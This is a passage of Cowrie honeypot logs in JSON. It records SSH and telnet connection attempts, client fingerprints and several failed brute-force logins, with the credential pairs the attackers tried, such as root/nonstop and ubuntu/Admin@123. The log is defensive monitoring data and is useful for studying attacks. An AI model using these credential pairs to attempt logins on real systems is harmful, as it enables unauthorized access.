t-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:23.479629Z","src_ip":"161.97.102.228","session":"c600de941b10","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:23.893571Z","src_ip":"161.97.102.228","session":"c600de941b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:24.990861Z","src_ip":"161.97.102.228","session":"c600de941b10","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.27352452278137,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:25.917856Z","src_ip":"135.148.14.151","session":"7e9ec4592db1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.918375968933105,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:36.743961Z","src_ip":"135.148.14.151","session":"049bd11bc981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.836435079574585,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:48.134990Z","src_ip":"135.148.14.151","session":"be26e9c5cf32","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.98671317100525,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:19:53.321658Z","src_ip":"135.148.14.151","session":"fedee13b6d41","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":57806,"dst_ip":"159.203.135.109","dst_port":23,"session":"50522061191a","protocol":"telnet","message":"New connection: 135.148.14.151:57806 (159.203.135.109:23) [session: 50522061191a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:20:22.870323Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":43712,"dst_ip":"159.203.135.109","dst_port":23,"session":"f6111b21dacd","protocol":"telnet","message":"New connection: 135.148.14.151:43712 (159.203.135.109:23) [session: f6111b21dacd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:20:53.586695Z"}
{"eventid":"cowrie.session.closed","duration":36.45468783378601,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:20:59.324883Z","src_ip":"135.148.14.151","session":"50522061191a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":53072,"dst_ip":"159.203.135.109","dst_port":23,"session":"1080f265a910","protocol":"telnet","message":"New connection: 135.148.14.151:53072 (159.203.135.109:23) [session: 1080f265a910]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:21:24.297686Z"}
{"eventid":"cowrie.session.closed","duration":35.5,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:21:29.086567Z","src_ip":"135.148.14.151","session":"f6111b21dacd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":42398,"dst_ip":"159.203.135.109","dst_port":23,"session":"6b482f683590","protocol":"telnet","message":"New connection: 135.148.14.151:42398 (159.203.135.109:23) [session: 6b482f683590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:21:51.570100Z"}
{"eventid":"cowrie.session.closed","duration":32.34300184249878,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:21:56.640570Z","src_ip":"135.148.14.151","session":"1080f265a910","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":46056,"dst_ip":"159.203.135.109","dst_port":23,"session":"5045b09cff0e","protocol":"telnet","message":"New connection: 135.148.14.151:46056 (159.203.135.109:23) [session: 5045b09cff0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:02.447839Z"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":63822,"dst_ip":"159.203.135.109","dst_port":22,"session":"32c9b3cc2fb6","protocol":"ssh","message":"New connection: 194.59.206.2:63822 (159.203.135.109:22) [session: 32c9b3cc2fb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:22.767577Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:22.801349Z","src_ip":"194.59.206.2","session":"32c9b3cc2fb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:22.866017Z","src_ip":"194.59.206.2","session":"32c9b3cc2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:23.048843Z","src_ip":"194.59.206.2","session":"32c9b3cc2fb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":39.6207549571991,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:31.190737Z","src_ip":"135.148.14.151","session":"6b482f683590","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.82953667640686,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:36.277280Z","src_ip":"135.148.14.151","session":"5045b09cff0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":37512,"dst_ip":"159.203.135.109","dst_port":23,"session":"e21f18ae5c0e","protocol":"telnet","message":"New connection: 135.148.14.151:37512 (159.203.135.109:23) [session: e21f18ae5c0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:22:42.323231Z"}
{"eventid":"cowrie.session.closed","duration":41.11889457702637,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:23.441998Z","src_ip":"135.148.14.151","session":"e21f18ae5c0e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.102.228","src_port":38396,"dst_ip":"159.203.135.109","dst_port":22,"session":"9be7d83ca753","protocol":"ssh","message":"New connection: 161.97.102.228:38396 (159.203.135.109:22) [session: 9be7d83ca753]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:36.930464Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:36.937275Z","src_ip":"161.97.102.228","session":"9be7d83ca753","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:37.031964Z","src_ip":"161.97.102.228","session":"9be7d83ca753","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"123","message":"login attempt [jenkins/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:37.443696Z","src_ip":"161.97.102.228","session":"9be7d83ca753","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:38.541270Z","src_ip":"161.97.102.228","session":"9be7d83ca753","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.45.197.250","src_port":57298,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ebc8e135060","protocol":"ssh","message":"New connection: 147.45.197.250:57298 (159.203.135.109:22) [session: 5ebc8e135060]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:39.599137Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:39.604128Z","src_ip":"147.45.197.250","session":"5ebc8e135060","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:39.692029Z","src_ip":"147.45.197.250","session":"5ebc8e135060","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"12051988","message":"login attempt [root/12051988] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:39.958990Z","src_ip":"147.45.197.250","session":"5ebc8e135060","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:41.049761Z","src_ip":"147.45.197.250","session":"5ebc8e135060","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.239.84.249","src_port":35094,"dst_ip":"159.203.135.109","dst_port":22,"session":"f7ea26d5814b","protocol":"ssh","message":"New connection: 185.239.84.249:35094 (159.203.135.109:22) [session: f7ea26d5814b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:41.618123Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:41.624292Z","src_ip":"185.239.84.249","session":"f7ea26d5814b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:41.832841Z","src_ip":"185.239.84.249","session":"f7ea26d5814b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Admin@123","message":"login attempt [ubuntu/Admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:42.455551Z","src_ip":"185.239.84.249","session":"f7ea26d5814b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:43.681549Z","src_ip":"185.239.84.249","session":"f7ea26d5814b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":39650,"dst_ip":"159.203.135.109","dst_port":23,"session":"21c9d610a64c","protocol":"telnet","message":"New connection: 135.148.14.151:39650 (159.203.135.109:23) [session: 21c9d610a64c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:23:54.294929Z"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":52406,"dst_ip":"159.203.135.109","dst_port":23,"session":"750e094e5e0c","protocol":"telnet","message":"New connection: 135.148.14.151:52406 (159.203.135.109:23) [session: 750e094e5e0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:15.413817Z"}
{"eventid":"cowrie.session.connect","src_ip":"89.108.118.91","src_port":58168,"dst_ip":"10.17.0.5","dst_port":22,"session":"8bd84fd29aa1","protocol":"ssh","message":"New connection: 89.108.118.91:58168 (10.17.0.5:22) [session: 8bd84fd29aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:24.542236Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:24.553141Z","src_ip":"89.108.118.91","session":"8bd84fd29aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:24.676468Z","src_ip":"89.108.118.91","session":"8bd84fd29aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"popov","message":"login attempt [root/popov] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:25.054181Z","src_ip":"89.108.118.91","session":"8bd84fd29aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:26.180931Z","src_ip":"89.108.118.91","session":"8bd84fd29aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"135.148.14.151","src_port":59400,"dst_ip":"159.203.135.109","dst_port":23,"session":"2e1b8122354e","protocol":"telnet","message":"New connection: 135.148.14.151:59400 (159.203.135.109:23) [session: 2e1b8122354e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:27.842149Z"}
{"eventid":"cowrie.session.closed","duration":34.160071849823,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:28.454856Z","src_ip":"135.148.14.151","session":"21c9d610a64c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.805603981018066,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:24:47.219270Z","src_ip":"135.148.14.151","session":"750e094e5e0c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.189878702163696,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:04.031944Z","src_ip":"135.148.14.151","session":"2e1b8122354e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"62.133.62.83","src_port":33784,"dst_ip":"10.17.0.5","dst_port":22,"session":"7495b40c7f7a","protocol":"ssh","message":"New connection: 62.133.62.83:33784 (10.17.0.5:22) [session: 7495b40c7f7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:08.420511Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:08.426482Z","src_ip":"62.133.62.83","session":"7495b40c7f7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:08.521765Z","src_ip":"62.133.62.83","session":"7495b40c7f7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"nonstop","message":"login attempt [root/nonstop] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T18:25:08.762314Z","src_ip":"62.133.62.83","session":"7495b40c7f7a","protocol":"ssh"}
